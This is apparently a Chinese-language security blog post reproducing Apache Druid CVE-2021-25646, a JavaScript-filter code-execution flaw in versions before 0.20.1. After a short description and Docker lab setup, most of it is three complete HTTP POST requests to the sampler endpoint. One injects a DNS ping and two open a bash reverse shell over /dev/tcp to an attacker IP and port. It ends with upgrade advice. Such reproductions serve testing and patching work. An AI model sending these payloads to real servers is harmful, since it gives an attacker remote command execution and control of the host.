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Apache Druid 命令执行漏洞(CVE-2021-25646)复现_druid弱口令

druid弱口令

 

Apache Druid 命令执行漏洞(CVE-2021-25646)

一、漏洞描述

Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

二、影响版本

Apache Druid < 0.20.1

三、漏洞环境&漏洞复现

Docker环境:

dockerpull fokkodriesprong/docker-druid dockerrun --rm -i -p 8888:8888 fokkodriesprong/docker-druid

启动访问:

漏洞复现:

POC:

  1. POST /druid/indexer/v1/sampler HTTP/1.1
  2. Host: ip:prot
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
  4. Accept: application/json, text/plain, */*
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Content-Type: application/json
  7. Content-Length: 1045
  8. Connection: close
  9. {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

1、DNSlog:

DNS记录:

具体数据包:

  1. POST /druid/indexer/v1/sampler HTTP/1.1
  2. Host: ip:prot
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
  4. Accept: application/json, text/plain, */*
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Content-Type: application/json
  7. Content-Length: 1045
  8. Connection: close
  9. {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 ping dns.com')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

 

2、反弹shell操作

具体数据包:

  1. POST /druid/indexer/v1/sampler HTTP/1.1
  2. Host: ip:prot
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
  4. Accept: application/json, text/plain, */*
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Content-Type: application/json
  7. Content-Length: 1045
  8. Connection: close
  9. {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

四、安全建议

建议广大用户及时更新Apache Druid,下载链接为:

https://druid.apache.org/downloads.html

https://github.com/apache/druid/releases/tag/druid-0.20.1

 

参考:

https://www.secpulse.com/archives/152981.html

https://mp.weixin.qq.com/s/ToGaV-wR28Cx9K-aBC7Lyg

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